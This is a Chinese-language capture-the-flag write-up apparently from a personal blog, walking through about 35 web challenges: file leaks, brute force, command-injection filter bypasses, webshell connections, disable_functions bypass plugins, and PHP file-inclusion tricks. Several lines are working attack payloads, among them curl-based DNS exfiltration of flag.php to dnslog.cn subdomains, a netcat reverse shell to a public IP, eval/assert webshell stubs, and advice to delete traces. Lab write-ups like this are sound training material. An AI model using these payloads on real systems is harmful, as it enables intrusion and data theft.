题目wp

web1(robots.txt)

在网址后输入/robots.txt,查看爬虫管理文件
UZHFBO9V5E32GN@HP$GAO$R.png
直接访问即可
![[YA%J_O_%XD6N0CHDN1$@0.png

web2(.git)

使用githack
C:\Users\李则睿\AppData\Local\Programs\Python\Python310\python.exe .\GitHack.py -u "网址/.git/"

web3(爆破)

正常的数字爆破

web4(字典导入)

没啥好说的QAQ
一个是username 另一个password

web5(base64加密爆破)

导入最新字典,按照截图来就行
7OG9OB3_PSBMNEWW1V8FI%B.png

web6(综合)

将1到5教的结合,先看robots协议
打开里面的路径
再/.git/泄露
然后爆破

web7(;的应用)

![090${]WGKV6PNRY0($W1(V.png
&&前后并列执行 短路
||前后命令有一个成功就行
;独立的两条命令
dir=;tac flag.php
dir=%26%26tac flag.php
在这里用;将命令隔开就可以实现先执行ls再执行tac flag.php
![E%BFK_XP%0@}5IB@W}583Q.png

web8(/dev/null 2>&1)

需要前后两个命令,但是会使后面删除
5_FV8215@M4$TUS2{L)W3TW.png

web9(flag被过滤)

![AJYDG]7JPZAEZ)3]E8C{P8M.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1681438202773-c288a039-9c1f-4405-a4a1-dc2872c7a9a9.png#averageHue=%23b2b2b2&clientId=ud8070e69-c7d2-4&from=paste&height=750&id=u09d90883&originHeight=1125&originWidth=1223&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=120779&status=done&style=none&taskId=u12b20664-a120-4414-945d-b320b058c11&title=&width=815.3333333333334)
?可以用来站位
*也可以匹配

web10(base64绕过)

![$UQ%YH]V9I%K%(ICDDSK4}V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1681438509576-d3cd4c25-cb40-4d2e-8a71-ff0ce71418ce.png#averageHue=%23b3b3b3&clientId=ud8070e69-c7d2-4&from=paste&height=748&id=u3c8417f2&originHeight=1122&originWidth=1183&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=127849&status=done&style=none&taskId=u2e3f530a-7d13-422e-a89e-bac0cb646bc&title=&width=788.6666666666666)
注意这里echo前用到是反引号,密文用的是单引号

web11(空格过滤)

8TL6XRP2K(TTA9VHB{ZD3HH.png
${IFS}
$IFS$9
%09

web12(env)

![8]7UCU_]1PAA[KUX]5D{4QY.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1681439111850-cd8da70e-b51e-475c-9504-8922d549c7c7.png#averageHue=%23faf9f8&clientId=ud8070e69-c7d2-4&from=paste&height=559&id=ucc686a59&originHeight=838&originWidth=2287&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=246296&status=done&style=none&taskId=u36cf36de-a8bb-452b-8d5d-4e23b49e351&title=&width=1524.6666666666667)
![@)FA(FGWT50LE~17CNZRYB.png

web13(. /???/?????????)

1681830741(1).png

<form action="http://5201b3a2-c047-4f7e-a884-8db141da8f7f.challenges.ctfer.com:8080/" 
  enctype="multipart/form-data" method="post" >
    <input name="file" type="file" />
    <input type="submit" value="upload" />
</form>
whoami

MIP)87{)WA~5XZ}FE%Q_1NX.png
这里匹配最后以为最后一位为大写字母
VVC0{RT%K03J2~)05GK%`VI.png
![5(14@{{)0}CAI7)2V13V)K.png
$_)E8P36L{1C$T2TE4U1OWP.png
太狗了,还搞一个假flag

web14(无回显文件读取)

文件写入形,写入文件二次返回
1681830934(1).png
?cmd=cat fla?.php>1.txt
将flag.php写入1.txt
直接访问1.txt即可
1681831532(1).png
看完记得rm 1.txt消除痕迹

web15(DNS信道)

1681832045(1).png
这里用到了http://dnslog.cn/网站
1681832167(1).png
创建一个二级域名
1681832723(1).png
?cmd=ping -c 1 whoami.jaugz9.dnslog.cn
1681832750(1).png
可以看到信息被带出来了,但是这个方法有一个缺点,就是带出来的信息是有限的
于是我们尝试构造

?cmd=a=`sed -n "3,4p" fla?.php`;curl ${a:0:10}.2ax8wk.dnslog.cn

就可以得到关于flag的信息
1684400324(1).png
当我们继续带出数据时,会发现不能成功(如 ${a:10:10} )
所以我们需要编码

?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl ${a:0:10}.cgvu9p.dnslog.cn

![IO]_CE4H_@43Q%GITNJECF.png
![{CI~YR%7AI~MZRB(KAR6.png
JGZsYWc9ImZsYWd7MmViNWQzZjctMGFhMy00OTU1LTlmMGYtNTFmZGI3YzU0Y2ZhfSI7Cg==
![8M)KO993308LNFHY5)~3.png

web16(http信道|requestrepo)

![6_]$%]P{ESV07$U6KFGYH.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1688226654145-9fe2ae55-f0c4-4515-af96-e964a2951d3f.png#averageHue=%23d1d1d1&clientId=u9e63e841-dff8-4&from=paste&height=641&id=ub87d6474&originHeight=961&originWidth=2560&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=112220&status=done&style=none&taskId=u7002084c-0d32-4273-af05-8d30fa16d2d&title=&width=1706.6666666666667)
4(CC}(Q_3$V2~I.png
@N0Z)E4EOZG@X6C~H$0P.png
![[J[Z@E]}L8_Q95TF]J2IN]H.png
)0${6M644CTQWZZ49R1XXPJ.png

web17(反弹shell信道)

![B_G3~H%]B3DOSXKUTX8LNK0.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1688228546752-1a4df700-1b7e-48fe-9829-90d1cc5527cd.png#averageHue=%23cfcfcf&clientId=u9e63e841-dff8-4&from=paste&height=632&id=ud6b1a959&originHeight=948&originWidth=2004&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=107167&status=done&style=none&taskId=ud4b31307-d794-456a-b2bd-70c3d7254e6&title=&width=1336)
AM[{UX32T120]N0BH}R6A@V.png
复制这里2的代码,记得改成自己的公网ip和所监听的端口
![)H7T@7]`K3STVS2{5]K8H@4.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1688228488410-c45a111c-2338-4aa1-ac78-e94aba541f3a.png#averageHue=%23050403&clientId=u9e63e841-dff8-4&from=paste&height=605&id=u5b8660dd&originHeight=908&originWidth=901&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=57602&status=done&style=none&taskId=uec757407-1d91-4f2e-9b47-cf808f8c76a&title=&width=600.6666666666666)

web18(蚁剑连接)

没啥好说的,单纯的蚁剑连接

web19(转接)

接一句
?1=eval($_POST[1]);
其余和18一样

web20(call_user_func函数)

先了解函数的意思
然后使用函数达到目的
HOK9Q2RPJ~V11YW4L8Z545F.png
在php中assert和eval作用一样

web21(array_walk_recursive函数)

0FON6@Z[0OP7]{VXX5D1_JW.png

web22(拼接法)

![7Z(]S1W(7COZ]I2Q2CDDX%C.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1681544628481-22b9dc0c-9e41-456b-9907-960fc3f8712a.png#averageHue=%23b4b4b4&clientId=u5fad5f81-b1f5-4&from=paste&height=755&id=u40d1da5b&originHeight=1132&originWidth=1778&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=136940&status=done&style=none&taskId=uaa4b68f5-b4a1-4fb5-bd45-a445281c2e5&title=&width=1185.3333333333333)

web23(?>绕过)

看到有?>还过滤了?;等符号
就需要先看php手册
![9}CFI${167{CMOF09@@)QG.png
可以使用这段代码绕过

<script language="php">
        echo 'some editors (like FrontPage) don\'t
              like processing instructions';
    </script>

DN%E4UN9U6B@ISI$_}F))TV.png
![49Q_K(J~R2EM6Y3X70XC5H.png
直接读取就好
这里有一个小技巧Linux读取根目录文件不用后缀

web24(限制上传长度+反弹shell)

题目是这样的
1681801784(1).png
需要get上传一个1,然后要让他执行php语言
首先要构造一个绕过,不但要保证字数在限制以内,还要rce
这里上传这样一句
1=
但是由于字数限制,不得不删除等号,会导致没有回显
为了验证是否成功绕过过滤,我们使用了2=sleep 3命令
如果网页三秒后才加载出来,说明rce成功
然后使用反弹shell的方法得到flag
首先需要一台拥有公网ip的服务器
我们在服务器控制端
输入nc -lvvnp 端口号,然后网页端输入这个
1681802452(1).png

?1=<?`$_GET[2]`;&2=nc 172.245.168.226 3389 -e /bin/sh

1681802402(1).png
到这里直接查看flag就好了
1681802531(1).png

web25(虚拟终端连接与蚁剑编码器的选择)

这里发现直接上传命令是没有用的
于是我们使用蚁剑连接由于过滤了eval函数,这里使用assert来替代
进行转接,改为post传参
?1=assert($_POST[1]);
注意:这里的编码器需要选择base64
否则会连接不成功
1681803776(1).png
连接成功后,发现flag在根目录下
1681803858(1).png
但是却打不开,说明这里过滤了系统命令
需要在这里以终端运行来读取flag
1681803904(1).png
1681803580(1).png

web26(蚁剑绕过与提权插件的使用)

这个是题目
1681807276(1).png
这里继续使用蚁剑连接
和上一道题目用同样的连接方式
成功后继续打开虚拟终端
发现不能成功执行命令了
这里使用插件
这里使用的是ld_preload模式
1681807615(1).png
成功后用这样的方式连接
image.png
连接成功后,用虚拟终端查看flag
结果发现没有权限
这里需要使用另一个插件
打开插件首先查找字符
1681807435(1).png
再输入用户
1681807475(1).png
这里看到很多路径
查看suid提取文件
发现tac是可以使用的
1681807385(1).png
于是我们打开虚拟终端
tac flag就行
1681807512(1).png

web27(Apache_mod_cgi

前半部分和上一道题一样
这里在插件里选择Apache_mod_cgi
1681808435(1).png
在这里执行命令
这里就不像上一题那样查看命令权限了
直接tac /f*
就可以看到flag

web28(user_filter

和上一道题基本一样,只是使用了
user_filter模式

web29(无[a-z0-9]rce)

1681831663(1).png
使用xor脚本
首先运行xor.php
会生成一个txt字典
然后运行python脚本
xor.py
构造即可
![RGEF5}D8WCE[(_N}(PBED6.png

web30(文件包含)

当包含的东西没有php代码他就一律认为是文本文档
![P3MKQJ1}1]9MR77]CGVX~42.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1688233365553-dec18dbd-defa-404d-ad17-d044f273245d.png#averageHue=%23d1d1d1&clientId=u5e0b8087-a567-4&from=paste&height=637&id=u75689c62&originHeight=955&originWidth=1691&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=98478&status=done&style=none&taskId=ub879cab8-9c98-4659-99af-7af083a33b6&title=&width=1127.3333333333333)

web31(三元表达式)

三元表达式
a?b:c
a成立则b否则c
Q_(2PWRXNWALD$HLMNEYQ_R.png

web32(input)

![%A_N754TOLPJOR3Y1OT}9T.png
这里注意是flag不是flag.php

web33(php filter协议)

4QNBYAGZ0NT_H%OT1%5A@UP.png
_(@P_F2DTHL1RU5MKWL9O.png
这里注意编码后如果末尾是+要将它换成%2b
}(5{L%OX$EW`I)8P.png
用以上原理就可以实现rce
![_KO$~44F{OFIYLGMRAZ$DX.png
最终得到flag

web34(rot13绕过死亡die)

[8EN]SGY2.png
![(6XWB`37G2$5~6V76MF(~N.png

web35(data协议)

可以省略成
?file=data:,
[ZXG_M7@H{]X}3)@I0YPQ(A.png

web36()

posted @ 2023-08-17 21:58  Sdegree  阅读(7)  评论(0编辑  收藏  举报